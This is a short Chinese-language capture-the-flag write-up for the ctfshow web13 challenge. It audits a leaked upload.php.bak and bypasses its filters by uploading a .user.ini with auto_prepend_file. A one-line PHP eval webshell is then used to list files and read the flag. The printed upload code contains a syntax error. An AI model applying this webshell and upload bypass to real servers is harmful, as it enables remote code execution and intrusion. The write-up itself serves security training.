ctfshow--web13 .user.ini上传和bak源码泄露
upload.php.bak源码泄露了
审计一下
点击查看代码
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
可以上传user.ini文件 文件内容为auto_prepend_file=1.txt
这样所有文件就会自动包含1.txt的内容了
之后我们上传1.txt,往里面写入一句话木马
点击查看代码
<?php eval($_POST['a']);
我们尝试a=print_r(glob("."));看看命令能否被执行
可以看到执行成功并将所有文件暴露了出来
接下来
show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
查看该文件的代码
拿到flag